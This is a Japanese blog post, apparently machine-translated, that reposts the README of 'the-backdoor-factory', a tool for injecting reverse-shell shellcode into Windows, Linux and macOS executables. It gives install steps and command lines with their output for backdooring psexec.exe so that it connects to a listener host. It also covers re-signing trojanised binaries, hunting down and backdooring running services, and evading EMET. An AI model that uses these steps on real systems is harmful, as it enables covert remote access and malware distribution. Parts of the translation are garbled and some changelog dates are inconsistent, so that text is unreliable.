GitHubじゃ!Pythonじゃ!

GitHubからPython関係の優良リポジトリを探したかったのじゃー、でも英語は出来ないから日本語で読むのじゃー、英語社会世知辛いのじゃー

secretsquirrel

the-backdoor-factory – シェルコード付きPE、ELF、Mach-Oバイナリパッチ(未サポート)

投稿日:

シェルコード付きPE、ELF、Mach-Oバイナリパッチ(未サポート)

バックドア工場は長期間維持またはサポートされていません

ブログ: http : //secureallthethings.blogspot.com/2017/08/closing-door-end-of-backdoor-factory.html

バックドアファクトリー(BDF)

セキュリティ専門家と研究者のみ。

BDFの目的は、実行可能なバイナリをユーザが望むシェルコードにパッチを当てて、プリパッチされた状態の通常の実行を継続することです。

Black Hat USA 2015:

Video: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

Video: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

Video: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

開発者に連絡する:

IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

BSD 3条項ライセンス

wikiを参照してください: https : //github.com/secretsquirrel/the-backdoor-factory/wiki


インストール

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###古い学校

#### Dependences ##### OnionDukeを使用するには、aplibがまだARMチップセットをサポートしていないので、Intelマシン上にいる必要があります。

CapstoneエンジンはPyPiから以下のものを使ってインストールできます:

sudo pip install capstone

Pefile、最新:

https://code.google.com/p/pefile/

osslsigncode(リポジトリに含まれています):

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

カリインストール:

  apt-get update
  apt-get install backdoor-factory

その他* NIX / MAC INSTALL:

./install.sh

これにより、pefileをインストールするためのcapstone 3.01 pipがインストールされます。

更新:

./update.sh

サポート:

Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
and Mach-O x86/x64 and those formats in FAT files

Packed Files: PE UPX x86/x64

Experimental: OpenBSD x32 

いくつかの実行可能ファイルには保護が組み込まれています。そのため、すべてのバイナリでは動作しません。 ターゲットバイナリをクライアントにデプロイする前にテストするか、演習で使用することをお勧めします。 私はNSISを迂回する危機に瀕しているので、これらの小切手を迂回することが将来に含まれます。

Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things 
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper 
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.

最近、多くのバイナリでテストされています。

./backdoor.py -h使用法:backdoor.py [options]


##特徴:

### PEファイル

Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
  -Jump (j), for code cave jumping
  -Single (s), for patching all your shellcode into one cave
  -Append (a), for creating a code cave
  -Ignore (i or q), nevermind, ignore this binary
Can ignore DLLs
Import Table Patching
AutoPatching (-m automtic)
Onionduke (-m onionduke)

### ELFファイル

Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.

### Mach-OファイルPre-Textセクションのパッチと署名の削除

###全体

The user can :
  -Provide custom shellcode.
  -Patch a directory of executables/dlls.
  -Select x32 or x64 binaries to patch only.
  -Include BDF is other python projects see pebin.py and elfbin.py

使用例:

###既存のコード洞窟を使用してexe / dllにパッチを当てる:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###コードセクションを追加してexe / dllにパッチを当てる:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

### exesのディレクトリにパッチを当てる:./backdoor.py -d test / -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a … READMEの出力が長すぎる


###ユーザ指定のシェルコード:msfpayload windows / exec CMD = ‘calc.exe’ R> calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin Windowsワークステーション。 だから1337.多くのpwn。 ワオ。


### PEcodeSigning

コード署名証明書を持っている場合、BDFはPEファイルに署名できます。 これはosslsigncodeを使用します。 あなたの署名証明書と秘密鍵をcerts /ディレクトリに入れてください。 このブログ記事のopensslコマンドを使用して証明書を作成してくださいhttp : //secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

あなたの秘密鍵のパスワードを(まったく同じように)ファイル(gasp)に入れてください:

echo -n yourpassword > certs/passFile.txt

次のように、あなたの証明書に正確に名前を付けてください:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

あなたの証明書/ディレクトリは、次のようにうっとうしく見えるはずです。

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

-Cフラグを使用してPEコード署名を有効にします。

 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

正常に実行されると、BDF出力に次の行が表示されます。

[*] Code Signing Succeeded

###ハントとバックドア:インジェクター| Windowsのみインジェクタモジュールは、ディスク上のバックドアに対するターゲット実行可能ファイルを探します。 ターゲットがサービスとして識別されているかどうかを確認し、プロセスが実行中であるかどうかを確認し、プロセスやサービスを終了し、シェルコードで実行可能ファイルを挿入し、元のファイルをfile.exe.oldまたは別のサフィックスを選択し、プロセスまたはサービスを再開しようとします。
選択したターゲットの ‘injector’モジュールのpython辞書 “list_of_targets”を編集します。

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

###変更ログ

#### 01/11/2016

  • まれなケースで不適切なリカバリを引き起こしたエントリポイントの切り詰めバグを修正

#### 07/04/2016

  • プリプロセッサ用のBDFProxyでの動的パスのサポート

#### 06/19/2016

  • プリプロセッサとその他の最適化を追加
  • プリプロセッサは、ユーザがペイロード注入の前にバイナリを変更することを可能にする
  • -pフラグを指定して起動する
  • ./preprocessor/のサンプルを参照してください。

#### 12/20/2015

  • certsディレクトリを見つけるためにBDFへのディレクトリパスを追加しました。

#### 12/18/2015

#### 11/17/2015

  • rsrcセクションのoniondukeパッチのバグ修正とPEヘッダーのランダムwin32バージョン値の削除

#### 11/13/2015

  • 署名ヘッダがPEヘッダ内でクリアされた後、適切なPEファイルの切り捨てを追加しました。 IATパッチのより良いサポートの結果

#### 10/19/2015

  • BDFクラッシュの原因となったIATディレクトリの洞窟割り当てのバグを修正
  • オプションを-Aフラグ付きでオプションにしました。

#### 10/13/2015

  • インポートテーブルディレクトリの変更に、既存のコード洞窟を使用するように新しいセクションを追加する変更

#### 2012年12月12日

  • ‘replace’を追加しました。PATCH_METHOD – 提供されたバイナリのPEコピーのパスタです。

  • BDFProxyでの使用方法の詳細

    使用法:./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

#### 2011年8月11日

  • まれな洞窟の自動洞窟選択の安定性修正

#### 2015年5月5日

  • BH USAのアップデート、w00t!
  • OnionDuke、-m oniondukeを使用する
  • ユーザーが提供するexeおよびdllのサポート
  • 使用法:./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll / exe
  • XP MODE =以前のIATベースのペイロードは、XP、Wine、またはWindows 98をサポートしませんでした.XPをサポートする必要がある場合は、-Xフラグを使用します。 私はXP未満(XP x64ではない)をサポートしていません。
  • UACプロンプトを起動して、runasをadminとして起動します。 experimental – requestedExecutionLevelが存在する場合、PEマニフェストにパッチを適用します。
  • 安定性の更新:
  • 2つ以上のコード洞窟にまたがる不正なRVA計算のバグを修正
  • IATの新しいセクションが追加されたデータを書き込んで失敗するかどうかを判断するためのより良いチェック
  • スピードの向上:
  • 自動モード使用中のコード洞窟の発見(-m自動)
  • マニフェストファイルを見つけるための高速rsrc解析

#### 5/01/2015

  • 単一の洞窟ペイロードを使用する場合のreverse_tcp_stager_threadedペイロードへのバグ修正

#### 2012/04/28

  • バインドされたインポートのチェックを追加する(バインドされたインポートを含むPEファイルはパッチ適用されません)

#### 2012/04/14

非常に多くの更新:

  • PEファイルの自動パッチ(* _threadedペイロードで-m自動を使用)

  • x86 / x64 PEファイル用の新しいIATペイロード

  • ちょうど見る: https : //www.youtube.com/watch?v=kkLI_ur6BxY

#### 2/14/2015私は<3あなたたち

  • WinAPI呼び出しのインポートテーブルを使用するiat_reverse_tcpペイロードをサポートするPEのためのImport Address Tableパッチを追加しました。 たとえば、パッチを適用しているバイナリにLoadLibraryAとGetProcAddressがない場合、BDFはそれを新しいセクションの新しいインポートテーブルにパッチします。 x64 / x86 PEをサポートします。

  • x64 PEにiat_reverse_tcpを追加しました。

  • バグの修正と改善

#### 1/1/2015

明けましておめでとうございます!

2つの新しいOS Xペイロード! 遅延:delay_reverse_shell_tcp

-B 30 – >ペイロードを30秒間遅らせると、メインコードがすぐに実行されます。

BDFの建設のための堅い砂岩の仕立ての設定、棺の「次の」倉庫はBDFを破壊する。

cythonの棺の実装をサポートするための修正点nullバイトの切り捨ての問題

#### 2014年12月27日

payloadtests.pyを追加しました

このスクリプトは、ユーザがペイロードを望みどおりにテストできるように、バックドッドでパッチされたファイルを出力します。 各ペイロードタイプは、1つずつ使用されるポートをインクリメントします。

Usage: payloadtest.py binary HOST PORT

#### 2014年12月17日

OS Xビーコン化x86およびx64のペイロード:beaconing_reverse_shell_tcp

-B 15 – ビーコン時間を15秒に設定する

BDFProxyのOS Xをサポートするためのバグ修正

#### 2014年10月11日

PE UPXパッチが追加されました

#### 2014年9月26日

Mach-O x86 / x64が追加されました

x86 IATペイロードの最適化

#### 2014年7月31日

ARM x32 LE ELFパッチのサポートが追加されました。

#### 2014年7月22日

FreeBSD x32 ELFパッチサポートの追加

BSD 3条項ライセンスに変更

#### 2014年7月13日

Incorporated Capstone: http : //www.capstone-engine.org/

Capstoneを追加する過程で、私は約500行のコードを削除しました。 それはかなり素晴らしいです。

loadliba_reverse_tcpをiat_reverse_tcpに変更しました。

速度の小さな最適化。

#### 2014年5月30日

新しいwin86シェルコードを追加:loadliba_reverse_tcp

  • Jared DeMottによる次の研究に基づいています: http ://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf – これを言及してくれてありがとう@ bannedit0。
  • このシェルコードは、LoadLibraryAおよびGetProcAddress APIを使用して、逆方向TCP接続に必要なすべてのAPIを検索します。 Stephen FewersのAPIハッシュ検索(これはまだ素晴らしい)です。
  • それは隠密ではありません。 それは位置依存です。 しかし結果は素晴らしい(コード洞窟ジャンプ): https : //www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • バイパスEMET 4.1。 呼び出し元の保護はそれをキャッチしません。
  • このように、私はIATにあるAPIに基づいてカスタムシェルコードでバイナリをパッチするalgoを使ってこのアイデアをさらに進化させていきます。 このアイデアに現在のwin86シェルコードを移植することを含みます。







-secretsquirrel
-, , , , , ,

執筆者: